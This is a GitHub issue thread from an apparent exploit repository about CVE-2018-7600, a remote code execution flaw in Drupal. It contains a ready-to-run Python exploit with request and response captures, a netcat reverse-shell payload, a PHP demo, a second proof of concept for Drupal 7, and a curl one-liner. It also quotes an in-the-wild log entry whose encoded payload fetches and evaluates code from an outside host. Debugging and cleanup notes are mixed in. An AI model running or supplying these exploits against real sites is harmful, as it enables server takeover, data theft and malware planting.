Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Exploit] CVE-2018-7600 - drupal: Unsanitized requests allow remote attackers to execute arbitrary code #19

Open
nixawk opened this issue Apr 13, 2018 · 20 comments

Comments

@nixawk
Copy link
Owner

nixawk commented Apr 13, 2018

Description

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.

Exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# CVE-2018-7600
# Drupal: Unsanitized requests allow remote attackers to execute arbitrary code

"""Tested against Drupal 8.4.5

$ wget -c https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
$ setup Apache2 + Mysql + Drupal

$ python exploit-CVE-2018-7600.py http://192.168.1.19 "pwd"
/var/www/html

----

POST /user/register?element_parents=account%2Fmail%2F%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 144
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=printf admin | md5sum

HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 05:19:28 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 191
Connection: close
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"21232f297a57a5a743894a0e4a801fc3  -\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

"""

# sudo pip install requests


from __future__ import print_function

__all__ = ['exploit']
__author__ = [
    'a2u',   # module developer
    'Nixawk' # module Improved
]

import sys
import requests


def send_http_payload(drupal_home_url, php_func, php_func_param):
    """Exploit CVE-2018-7600 drupal: Unsanitized requests
    allow remote attackers to execute arbitrary code
    """
    
    params = {
        'element_parents': 'account/mail/#value',
        'ajax_form': 1,
        '_wrapper_format': 'drupal_ajax'
    }

    payload = {
        'form_id': 'user_register_form',
        '_drupal_ajax': '1',
        'mail[#type]': 'markup',
        'mail[#post_render][]': php_func,
        'mail[#markup]': php_func_param
    }

    # Clean URLs - Enabled
    url = requests.compat.urljoin(drupal_home_url, '/user/register')

    return requests.post(
        url,
        params=params,
        data=payload
    )


def check(drupal_home_url):
    """Check if the target is vulnerable to CVE-2018-7600.
    """
    status = False

    randflag = 'CVE-2018-7600'
    vulnflag = randflag + '[{"command":"insert"'
    response = send_http_payload(drupal_home_url, 'printf', randflag)
    if response and response.status_code == 200 and randflag in response.text:
        print("[*] %s is vulnerable" % drupal_home_url)
        status = True
    else:
        print("[?] %s is unknown" % drupal_home_url)

    return status


def exploit(drupal_home_url, php_exec_func='passthru', command='whoami'):
    """Execute os command.
    """
    response = send_http_payload(drupal_home_url, php_exec_func, command)
    if '[{"command":"insert"' in response.text:
        command_output, _ = response.text.split('[{"command":"insert"')
        print(command_output)


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python %s <drupal-home-url> <cmd>" % sys.argv[0])
        sys.exit(0)

    exploit(sys.argv[1], command=sys.argv[2])

References

@nixawk
Copy link
Owner Author

nixawk commented Apr 13, 2018

Clean URLs
Disabled
Your server is capable of using clean URLs, but it is not enabled. Using clean URLs gives an improved user experience and is recommended. Enable clean URLs

# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
...
# cat /var/www/html/.htaccess 
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]

@nixawk
Copy link
Owner Author

nixawk commented Apr 13, 2018

print os command output directly.

$ py3 exploit-CVE-2018-7600.py http://192.168.1.19 "ls -al"
total 276
drwxr-xr-x  9 root root   4096 Apr 14 05:38 .
drwxr-xr-x  3 root root   4096 Apr 13 22:27 ..
-rw-r--r--  1 root root    867 Apr 12 22:20 .htaccess
drwxr-xr-x  3 root root   4096 Apr 14 05:32 .idea
-rw-r--r--  1 root root  18092 Apr 13 10:24 LICENSE.txt
-rw-r--r--  1 root root   5889 Apr 13 10:24 README.txt
-rw-r--r--  1 root root    262 Apr 13 10:24 autoload.php
-rw-r--r--  1 root root   2247 Apr 13 10:24 composer.json
-rw-r--r--  1 root root 150618 Apr 13 10:24 composer.lock
drwxr-xr-x 12 root root   4096 Apr 13 10:24 core
-rw-r--r--  1 root root   1272 Apr 13 10:24 example.gitignore
-rw-r--r--  1 root root    549 Apr 13 10:24 index.php
drwxr-xr-x  2 root root   4096 Apr 13 10:24 modules
-rw-r--r--  1 root root     19 Apr 13 22:38 phpinfo.php
drwxr-xr-x  2 root root   4096 Apr 13 10:24 profiles
-rw-r--r--  1 root root   1596 Apr 13 10:24 robots.txt
drwxr-xr-x  3 root root   4096 Apr 13 10:24 sites
drwxr-xr-x  2 root root   4096 Apr 13 10:24 themes
-rw-r--r--  1 root root    848 Apr 13 10:24 update.php
drwxr-xr-x 17 root root   4096 Apr 13 10:24 vendor
-rw-r--r--  1 root root   4555 Apr 13 10:24 web.config

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 167
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=nohup+nc+-e+%2Fbin%2Fbash+127.0.0.1+4444+%26HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 02:45:34 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 156
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

@nixawk
Copy link
Owner Author

nixawk commented Apr 13, 2018

drupal-rce-debug

@nixawk
Copy link
Owner Author

nixawk commented Apr 14, 2018

---->> Filename: /path/to/drupal/core/lib/Drupal/Core/Render/Renderer.php
---->> Function: doRender()

// Filter the outputted content and make any last changes before the content
// is sent to the browser. The changes are made on $content which allows the
// outputted text to be filtered.
if (isset($elements['#post_render'])) {
  foreach ($elements['#post_render'] as $callable) {
    if (is_string($callable) && strpos($callable, '::') === FALSE) {
      $callable = $this->controllerResolver->getControllerFromDefinition($callable);
    }
    $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
  }
}

public function getControllerFromDefinition($controller, $path = '') {
  if (is_array($controller) || is_object($controller) && method_exists($controller, '__invoke')) {
    return $controller;
  }
  if (strpos($controller, ':') === FALSE) {
    if (function_exists($controller)) {
      return $controller;
    }
    elseif (method_exists($controller, '__invoke')) {
      return new $controller();
    }
  }
  $callable = $this
    ->createController($controller);
  if (!is_callable($callable)) {
    throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
  }
  return $callable;
}

@nixawk
Copy link
Owner Author

nixawk commented Apr 14, 2018

---->> Filename: core/lib/Drupal/Core/Controller/ControllerResolver.php
---->> Function: getControllerFromDefinition

passthru

  public function getControllerFromDefinition($controller, $path = '') {
    if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
      return $controller;
    }

    if (strpos($controller, ':') === FALSE) {
      if (function_exists($controller)) {   // ---->> If $controller == 'passthru', return True
        return $controller;
      }
      elseif (method_exists($controller, '__invoke')) {
        return new $controller();
      }
    }

    $callable = $this->createController($controller);

    if (!is_callable($callable)) {
      throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
    }

    return $callable;
  }

base64_encode

public function getControllerFromDefinition($controller, $path = '') {
if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
  return $controller;
}

if (strpos($controller, ':') === FALSE) {
  if (function_exists($controller)) {   // ----> If $controller == 'base64_encode', return False
    return $controller;
  }
  elseif (method_exists($controller, '__invoke')) {
    return new $controller();
  }
}

$callable = $this->createController($controller);

if (!is_callable($callable)) {
  throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
}

return $callable;
}

@nixawk
Copy link
Owner Author

nixawk commented Apr 14, 2018

A php demo is prepared for exp tests. It shows how to exploit CVE-2018-7600.

root@lab:~# php /tmp/bug.php passthru id
PHP Warning:  Parameter 2 to passthru() expected to be a reference, value given in /tmp/bug.php on line 38
PHP Stack trace:
PHP   1. {main}() /tmp/bug.php:0
PHP   2. drupal_cve_2018_7600() /tmp/bug.php:45
uid=0(root) gid=0(root) groups=0(root)


root@lab:~# php /tmp/bug.php printf drupal
drupal6

<?php

// Author: Nixawk
// CVE-2018-7600: Unsanitized requests allow remote attackers to execute arbitrary code

// Usage:
// $ php drupal-rce-php.php passthru id

function drupal_cve_2018_7600($func, $param)
{
    $elements = array(
        "#markup" => "{Drupal\Core\Render\Markup}",
        "#type"   => "markup",
        "#post_render" => array(
        0 => $func
        ),
        "#suffix" => "<span class=\"ajax-new-content\"></span>",
        "#prefix" => "",
        "#cache"  => array(
            "contexts" => array(
            0 => "languages:language_intreface",
            1 => "theme",
            2 => "user.permissions"
            ),
            "tags" => array(),
        "max-age" => -1
        ),
        "#defaults_loaded" => true,
        "#attached" => array(),
        "#children" => array(
          "string" => $param
        )
    );

    // echo $elements['#children']["string"] . "\n";

    $elements['#children']["string"] = call_user_func(
        // $callable = $elements["#post_render"]["0"];
        $elements["#post_render"]["0"],
        $elements['#children']["string"], 
        $elements
    );

    echo $elements['#children']["string"] . "\n";

}

drupal_cve_2018_7600($argv[1], $argv[2]);

?>

@nixawk
Copy link
Owner Author

nixawk commented Apr 14, 2018

apt-get update
apt-get install apache2 php
apt-get install mariadb-server-10.1 mariadb-client-10.1
apt-get install php-mysql php-gd php-xml php-xdebug
# apache2 --version
[Sat Apr 14 10:02:10.979265 2018] [core:warn] [pid 10482] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot

# php --version
PHP 7.2.4-1 (cli) (built: Apr  5 2018 08:50:27) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.4-1, Copyright (c) 1999-2018, by Zend Technologies

# java -version
java version "10" 2018-03-20
Java(TM) SE Runtime Environment 18.3 (build 10+46)
Java HotSpot(TM) 64-Bit Server VM 18.3 (build 10+46, mixed mode)
# service mysql start
# cat <<EOF > adduser.sql
USE mysql;
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;
SELECT USER,PASSWORD,HOST FROM USER;
EOF
# mysql -h 127.0.0.1 -u root -p mysql < adduser.sql
# service apache2 start
# apachectl -M
# wget https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
# tar xvf drupal-8.4.5.tar.gz -C /tmp/
# rm -rf /var/www/html/index.html
# cp -rf /tmp/drupal-8.4.5/* /var/www/html/
# mkdir /var/www/html/sites/default/files
# cp /var/www/html/sites/default/default.settings.php /var/www/html/sites/default/settings.php
# chown -R www-data:www-data /var/www/html/
# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
...

# cat /var/www/html/.htaccess 
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]
# tar xvf jdk-10_linux-x64_bin.tar.gz
# mv jdk-10/ /opt/
# cd /opt/jdk-10/
# update-alternatives --install /usr/bin/java java /opt/jdk-10/bin/java 1
# update-alternatives --install /usr/bin/javac javac /opt/jdk-10/bin/javac 1
# update-alternatives --set java /opt/jdk-10/bin/java
# update-alternatives --set javac /opt/jdk-10/bin/javac
# tar xvf PhpStorm-2018.1.1.tar.gz -C /tmp/
# mv /tmp/PhpStorm-181.4445.72/ /usr/share/phpstorm
# /usr/share/phpstorm/bin/phpstorm.sh
# cat /etc/php/7.2/apache2/conf.d/20-xdebug.ini 
zend_extension=xdebug.so
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9000
xdebug.remote_log="/var/log/xdebug/xdebug.log"
javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+'PHPSTORM'+';path=/;';})()

javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+''+';expires=Mon, 05 Jul 2000 00:00:00 GMT;path=/;';})()

References

@antonio-fr
Copy link

Can you say whether the response of the command (exec, passthru,...) is in data field or at the beginning or the POST response?
I'm using passthru and Drupal v8.5.0 and the server responds with the output just before the normal response:
Commad_Output[{"command":"insert","method":"replaceWith",... }]

See at: https://github.com/antonio-fr/DrupalRS

In the exploit code here-upper provided by @nixawk , tested on v8.4, the output is sent back in data field. So I'm wondering if this is specific to v8.5, or for the passthru command?

@dbjpanda
Copy link

dbjpanda commented Apr 16, 2018

I am able to exploit with Drupal 8 but It doesn't work with Drupal 7 . Does it really work for D7 as well ?

@nixawk
Copy link
Owner Author

nixawk commented Apr 16, 2018

@antonio-fr The exploit tests against drupal 8.4.5. If passthru should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

From php.net

void passthru ( string $command [, int &$return_var ] )

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

data-field

@nixawk
Copy link
Owner Author

nixawk commented Apr 16, 2018

@dbjpanda Please try FireFart's Poc for 7.x.

#!/usr/bin/env python3

"""
Written by Christian Mehlmauer
  https://firefart.at/
  https://twitter.com/_FireFart_
  https://github.com/FireFart
This script can be obtained from:
  https://github.com/FireFart/CVE-2018-7600
Requirements:
  - python3
  - python requests (pip install requests)
Usage:
  - Install dependencies
  - modify the HOST variable in the script
  - run the code
  - win
"""

import requests
import re

HOST="http://192.168.60.129/"

get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)

m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.post(HOST, data=post_params, params=get_params)
    print(r.text)

Vulnerability Details can be here:

@antonio-fr
Copy link

@nixawk
Thx for telling me about passthru. I was thinking erroneously that the answer was extracted from response data field in your code. So I didn't understand if some systems or queries would answer like that. I did some tests on various config and the response were always in server response overhead (before [command:... ). Then, I have updated my Drupal own script published on Github with v7. It is python without requests dependencies.

@nixawk
Copy link
Owner Author

nixawk commented Apr 17, 2018

Good job !

@jedthe3rd
Copy link

Is there any reason I would be getting no output? I setup a drupal 8.4.5 locally and when I run the script I get no output.

@alfonsocaponi
Copy link

I follow the instructions but it seems that the version 8.4.5 is not vulnerable on my system:

Ubuntu 16.04.3 LTS
PHP Version 7.0.22-0ubuntu0.16.04.1

other evidences?

@nixawk
Copy link
Owner Author

nixawk commented Apr 23, 2018

@alfonsocaponi Could you share your packets here ? A pcap may be useful.

@alfonsocaponi
Copy link

POST /user/register?element_parents=account%2Fmail%2F%23value&_wrapper_format=drupal_ajax&ajax_form=1 HTTP/1.1
Host: 192.168.253.128
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.12.4
Content-Length: 130
Content-Type: application/x-www-form-urlencoded

mail%5B%23markup%5D=pwd&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=passthruHTTP/1.1 200 OK
Date: Mon, 23 Apr 2018 11:48:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 156
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":null}]
dump.zip

@gamebenchjake
Copy link

Just got hit with this exploit running 8.5.4, clean-urls are enabled:

176.126.252.11 - - [08/Jun/2018:13:01:41 +0200] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup HTTP/1.1" 200 35140 "https://<URL PLACEHOLDER>/?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"

@malworm
Copy link

malworm commented Jun 9, 2018

curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://127.0.0.1/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

i'm my case the result is:

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":null}]

drupal version is 8.5.0...

@gamebenchjake
Copy link

gamebenchjake commented Jun 10, 2018

@violennz Update to 8.5.4, the patch was included in 8.5.1, so hopefully it'll mitigate the majority of attempts, though I'm still being hit with it at 8.5.4

Also, you can run this to clean your drupal site:

find ./ -type f -name "*.php" -exec sed -i s/.*457563643.*/\<\?php/g {} +

That should remove the injected header line and replace it back with your opening <?php tag

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

7 participants